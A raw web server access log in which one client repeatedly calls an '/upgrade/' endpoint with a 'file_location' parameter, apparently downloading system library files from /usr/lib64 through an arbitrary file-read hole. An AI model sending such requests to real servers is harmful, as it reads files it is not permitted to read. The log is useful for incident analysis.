45.135.193.11 - - [11/Sep/2026:22:54:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjpeg.so.62.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 250392 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjpeg.so.62.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpwquality.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115399 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpwquality.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-cmd.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 112931 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-cmd.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolordprivate.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 198824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolordprivate.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreeblpriv3.chk&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 104007 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreeblpriv3.chk&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfstrm.so.0.1.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123758 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfstrm.so.0.1.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibipset.so.13.3.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 165610 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibipset.so.13.3.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLTO.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128580 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibLTO.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickCore-6.Q16.so.7.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1276448 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibMagickCore-6.Q16.so.7.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexslt.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140978 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibexslt.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 132612 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpam.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpath_utils.so.1.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 110514 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpath_utils.so.1.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent-util.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111014 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtevent-util.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibupower-glib.so.3.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 165829 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibupower-glib.so.3.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXau.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109385 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXau.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient_r.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 264702 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient_r.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-nbt.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173804 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibndr-nbt.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xkb.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 140196 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xkb.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_openssl.so.1.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106823 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_openssl.so.1.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:44 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fphp HTTP/1.1" 200 5943 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fphp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibargon2.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 117593 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibargon2.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlidec.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125162 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlidec.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkcapi.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 128894 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibkcapi.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138003 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgdbm.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpci.so.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131013 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpci.so.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsqlite3.so.0.8.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 820757 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsqlite3.so.0.8.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser.so.18.3.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 173787 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtotem-plparser.so.18.3.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11.so.6.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 794431 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11.so.6.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_radeon.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125161 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdrm_radeon.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
216.245.184.227 - - [11/Sep/2026:22:54:48 -0400] "GET / HTTP/1.1" 200 2456 "-" "vantage-agent/0.1"
45.135.193.11 - - [11/Sep/2026:22:54:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-posix.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 108286 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-posix.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
216.245.184.227 - - [11/Sep/2026:22:54:48 -0400] "GET /favicon.ico HTTP/1.1" 404 1251 "-" "Go-http-client/1.1"
45.135.193.11 - - [11/Sep/2026:22:54:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw.so.23.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 495593 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibraw.so.23.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-sys.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 148959 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-sys.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwireplumber-0.5.so.0.512.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 347824 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwireplumber-0.5.so.0.512.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcheck-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 164761 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstcheck-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsttag-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 216119 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsttag-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-render.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120544 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-render.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenuw.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120198 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenuw.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_sss.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125772 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnss_sss.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpango-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252443 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpango-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-8.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 362481 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-8.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-agent-1.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120789 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpolkit-agent-1.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsasl2.so.3.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 161319 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsasl2.so.3.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibulockmgr.so.1.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107550 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibulockmgr.so.1.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xselinux.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113637 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-xselinux.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibffi.so.8&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123653 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibffi.so.8&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibglib-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 633307 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibglib-2.0.so.0.6800.4&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenuw.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmenuw.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibproxy.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 159414 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibproxy.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-device.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 113930 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtss2-tcti-device.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-bp.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 120183 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Fliburcu-bp.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuser.so.1.5.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160109 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibuser.so.1.5.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:58 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-server.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 138262 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibwayland-server.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXt.so.6.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 299621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXt.so.6.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:54:59 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauparse.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 169727 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibauparse.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-libevent.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107773 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibavahi-libevent.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:00 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1144031 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibc.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstgl-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 338249 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstgl-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:55:01 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtasn1.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 145309 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtasn1.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
